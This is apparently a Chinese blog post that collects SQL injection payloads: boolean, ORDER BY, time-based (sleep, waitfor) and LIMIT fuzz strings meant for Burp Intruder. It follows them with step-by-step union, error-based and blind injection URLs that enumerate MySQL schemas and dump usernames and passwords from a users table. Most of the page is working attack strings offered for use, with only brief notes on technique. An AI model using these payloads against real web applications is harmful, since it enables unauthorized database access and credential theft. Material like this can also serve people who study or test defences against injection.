SQL注入的payloads 深碍√TFBOYSˉ_ 2023-06-08 06:24 7阅读 0赞 **1:BOOL SQLINJECTION** > \\ > ' > " > %df' > %df" > and 1=1 > and 1=2 > ' and '1'='1 > ' and '1'='2 > " and "1"="1 > " and "1"="2 > ) and (1=1 > ) and (1=2 > ') and ('1'='1 > ') and ('1'='2 > %' and 1=1 and '%'=' > %' and 1=2 and '%'='x > %') and 1=1 and ('%'=' > %') and 1=2 and ('%'='x > OR 1=1 > OR 1=2 > ' OR 1=1-- - > ' OR 1=2-- - > ) OR 1=1-- - > ) OR 1=2-- - > ') OR 1=1-- - > ') OR 1=2-- - > " OR "1"="1 > " OR "1"="2 > ' OR '1'='1 > ' OR '1'='2 > ) OR (1=1 > ) OR (1=2 > ') OR ('1'='1 > ') OR ('1'='2 **2:ORDER BY SQLINJECTION fuzz payload** > (case when(1=1) then 1 else (select 1 union select 2) end) > (case when(1=2) then 1 else (select 1 union select 2) end) > ,(1-(case when(1=1) then 1 else (select 1 union select 2) end)) > ,(1-(case when(1=2) then 1 else (select 1 union select 2) end)) > ,1=if((1=1),1,(select 1 union select 2)) > ,1=if((1=2),1,(select 1 union select 2)) > ,If((1=1),1,(select 1 union select 2))-- - > ,If((1=2),1,(select 1 union select 2))-- - > ,If((1=1),sleep(4),(select 1 union select 2))-- - > \-IF((1=1),1,(SELECT 1 UNION SELECT 2))-- - > \-IF((1=2),1,(SELECT 1 UNION SELECT 2))-- - > \-(case when(1=1) then 1 else (select 1 union select 2) end) > \-(case when(1=2) then 1 else (select 1 union select 2) end) **3:TIME-BASE SQLINJECTION** > '%2b(if((1=1 and sleep(4)),1,(select 1 union select 2)))%2b'a > \-IF((1=1),sleep(4),(SELECT 1 UNION SELECT 2))-- - > ';(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- - > ;SELECT sleep(4) > );SELECT sleep(4)-- - > ;SELECT sleep(4)-- - > ;(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- - > ' AND SLEEP(4)%23 > AND sleep(4) > ' AND sleep(4) AND '1'='1 > ') AND sleep(4) AND ('1'='1 > ) AND sleep(4) AND (1=1 > " AND sleep(4) AND "1"=" > ') and (select(0)from(select(sleep(4)))x)-- - > and (select(0)from(select(sleep(4)))x) > and (select(0)from(select(sleep(4)))x) and 1=1 > ' and (select(0)from(select(sleep(4)))x) and '1'='1 > " and (select(0)from(select(sleep(4)))x) and "1"="1 > ) and (select(0)from(select(sleep(4)))x) and (1=1 > ') and (select(0)from(select(sleep(4)))x) and ('1'='1 > rlike (select(0)from(select(sleep(4)))x) and 1=1 > ' rlike (select(0)from(select(sleep(4)))x) and '1'='1 > ) rlike (select(0)from(select(sleep(4)))x) and (1=1 > ') rlike (select(0)from(select(sleep(4)))x) and ('1'='1 > ;waitfor delay '0:0:4' -- - > ';waitfor delay '0:0:4' -- - > );waitfor delay '0:0:4' -- - > ');waitfor delay '0:0:4' -- - > if(now()=sysdate(),sleep(4),0)/\*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"\*/ > (SELECT \* FROM(SELECT(sleep(4)))lWuP) **4:LIMIT SQLINJECTION ** > procedure analyse(extractvalue(1,if(1=1,benchmark(5000000,md5(1)),2)),1) 用法就不用多说,放burp instuder fuzz 就行了 -------------------- > 注: 以下payload均基于单引号字符型注入。若是整型注入,需将单引号与后面的注释符(--+)都去掉;若是双引号注入,需将单引号改为双引号。 可联合查询注入 使用情景:页面有显示位。 优点:语句简单,快速。 缺点:条件苛刻。 原理:通过显示位,直接爆出所查信息。 > 1.判断当前数据表中有几列: > ?id=1' order by 数值 --+ > 2.查看显示位在第几列(这里假设共有3列): > ?id=-1' union select 1,2,3 --+ > 3.显示当前数据库(假设显示位在第3 列): > ?id=-1' union select 1,2,database() --+ > 4.查询当前数据库的所有表: > ?id=-1' union select 1,2,(select group\_concat(table\_name) from information\_schema.tables where table\_schema=database()) --+ > 5.查询所有数据库 : > ?id=-1' union select 1,2,(select group\_concat(schema\_name) from information\_schema.schemata) --+ > 6.查询某个数据库中的表 (此例为 db1 数据库): > ?id=-1' union select 1,2,(select group\_concat(table\_name) from information\_schema.tables where table\_schema='message') --+ > 7.查询某个表中的所有字段 (此例为 message数据库中的users 表): > ?id=-1' union select 1,2,(select group\_concat(column\_name) from information\_schema.columns where table\_schema='message' and table\_name='users') --+ > 8.查询某个表中的字段内容(此例为 message数据库中的users 表): > ?id=-1' union select 1,2,(select group\_concat(name,0x3a,0x3a,passwd) from message.users) --+ 报错型注入(常存在 部署于开发环境的) 使用情景:服务器开着,有mysql\_error()的报错信息,但是没有显示位。 优点:没显示位也可用,快速。 缺点:语句复杂。 原理:根据详细的报错信息。可以查看到数据库中的所有内容。 > floor 类型 > 固定格式:(星号位置替换为查询语句即可) > ?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(\*\*\*\*\*\*\*),0x3a,0x3a, floor(rand(0)*2)) a from information\_schema.columns group by a)s) --+ > 1.爆数据库: > ?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,( > select distinct table\_schema from information\_schema.columns limit 1,1 > ),0x3a,0x3a, floor(rand(0)*2)) a from information\_schema.columns group by a)s) --+ > *小提示:由于报错信息每次只能显示1行,所以此处使用limit,通过修改limit后的第一个数值,可依次爆出所有内容。下同。 > 2.爆表名(此例为message数据库): > ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,( > select table\_name from information\_schema.tables where table\_schema='message' limit 2,1 > ),0x3a,0x3a, floor(rand(0)*2)) a from information\_schema.columns group by a)s) --+ > 3.爆字段(此例为message数据库的users表): > ?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,( > select column\_name from information\_schema.columns where table\_schema='message' and table\_name='users' limit 2,1 > ),0x3a,0x3a, floor(rand(0)*2)) a from information\_schema.columns group by a)s) --+ > 4.爆内容(此例为message数据库的users表): > ?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,( > select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1 > ),0x3a,0x3a, floor(rand(0)*2)) a from information\_schema.columns group by a)s) --+ 布尔类型注入sql盲注 优点:通用性强,可以没有显示位,可以没有报错信息 缺点:慢。 原理:根据返回页面是否正常,判断值的范围,通过二分法最终确定具体的值 使用到的函数: exists() 查询至少返回一条数据 返回:true or false ascii() 返回一个字符串最左边ascii码的值 substr() 三个参数,一:字符串,二:开始位置,三:长度 mysql中开始位置从1开始。 length() 计算长度函数 > payload: > 1.查询所有数据库 1. 查询数据库个数: ?id=1' and ((select count(schema\_name) from information\_schema.schemata) < 77)--+ 77为随意输入数字,可通过二分法确定最终值。下同。 2. 查询某一个数据库的长度: ?id=1' and ((select length(schema\_name) from information\_schema.schemata limit 1,1) < 77)--+ 3)查看某个数据库名: ?id=1' and ((select ascii(substr((select schema\_name from information\_schema.schemata limit 1,1),1,1))) < 77)--+ 通过改变limit与substr的值,依次查看每一个字符 > 2.查询某个数据库的所有表 > 1)查询表的个数 (此例为message数据库中的表): > ?id=1' and ((select count(distinct+table\_name) from information\_schema.tables where table\_schema='message' ) < 77)--+ > 2)查看某个表名的长度(此例为message数据库中的表): > ?id=1' and ((select length(table\_name) from information\_schema.tables where table\_schema='message' limit 1,1) < 77)--+ > 3)查看某个表名(此例为message数据库中的表): > ?id=1' and ((select ascii(substr((select table\_name from information\_schema.tables where table\_schema='message' limit 1,1),1,1))) < 77)--+ > 通过改变limit与substr的值,依次查看每一个字符 > 3.查询某个表中的所有字段 > 1)表中字段的个数(此例中为message数据库中的users表): > ?id=1' and ((select count(distinct+column\_name) from information\_schema.columns where table\_schema='message' and table\_name='users' ) < 77)--+ > 2)查看某个字段名的长度(此例中为message数据库中的users表): > ?id=1' and ((select length(column\_name) from information\_schema.columns where table\_schema='message' and table\_name='users' limit 1,1) < 77)--+ > 3)查看某个字段名(此例中为message数据库中的users表): > ?id=1 ' and ((select ascii(substr((select column\_name from information\_schema.columns where table\_schema='message' and table\_name='users' limit 1,1),1,1))) < 77)--+ > 通过改变limit与substr的值,依次查看每一个字符 > 4.查看内容 > 1)查看表中的行数(此例中为message数据库中的users表): > ?id=1' and ((select count(\*) from message.users ) < 77)--+ > 2)查看某个字段对应内容的长度(此例中为message数据库中的users表): > ?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+ > 3)查看某个字段名对应内容(此例中为message数据库中的users表中的name字段): > ?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+ > 通过改变limit与substr的值,依次查看每一个字符
相关 SQL注入的payloads 1:BOOL SQLINJECTION > \\ > ' > " > %df' > %df" > and 1=1 > and 1=2 > ' an 深碍√TFBOYSˉ_/ 2023年06月08日 06:24/ 0 赞/ 8 阅读
相关 sql注入 [表单hhhhh][hhhhh] [tricks][] 今天发现了带外注入 out of band(OOB) [hhhhh]: https://www.netspark 柔情只为你懂/ 2022年12月13日 14:04/ 0 赞/ 212 阅读
相关 Sql注入 防止SQL注入 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过[正则表达式][Link 1],或限制长度;对单引号和双"-"进行转换等。 2 我就是我/ 2022年08月23日 12:51/ 0 赞/ 282 阅读
相关 SQL注入 基本概念: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序, 你的名字/ 2022年07月26日 11:15/ 0 赞/ 284 阅读
相关 SQL注入 SQL注入(SQL injection),是应用程序在数据库层的安全漏洞, 简而言之,在输入的字符串(web表单,输入域名或页面请求)中注入SQL语句,程序未设置对字符串的 朱雀/ 2022年07月20日 12:11/ 0 赞/ 336 阅读
相关 sql注入 所谓的sql注入就是当我们输入用户名和密码时用户输入了用户名+‘\,没有输入密码就直接连接数据库的操作 当我们开发人员进行编程时,如果将要发送的mysql语句用拼接的方式发送 电玩女神/ 2022年05月24日 03:43/ 0 赞/ 320 阅读
相关 sql注入与防止sql注入 数据库中的数据 ![70][] sql代码 package com.zjw.jdbc2; import java.sql.Connection; 超、凢脫俗/ 2022年05月10日 19:12/ 0 赞/ 445 阅读
相关 SQL注入 一、SQL注入概念 1、sql注入是一种将sql代码添加到输入参数中 2、传递到sql服务器解析并执行的一种攻击手法 举例:某个网站的用户名为name=‘ad 妖狐艹你老母/ 2022年01月29日 06:21/ 0 赞/ 399 阅读
相关 sql注入 sql注入说的是不知道数据库的用户名和密码的情况下进入数据库的方法 例如 select from users where username='username' 女爷i/ 2021年12月15日 23:37/ 0 赞/ 354 阅读
相关 sql注入 1、SQL注入 ![1541314-20190621144203912-2122568986.png][] ![1541314-20190621144231960-15 - 日理万妓/ 2021年12月11日 05:17/ 0 赞/ 460 阅读
还没有评论,来说两句吧...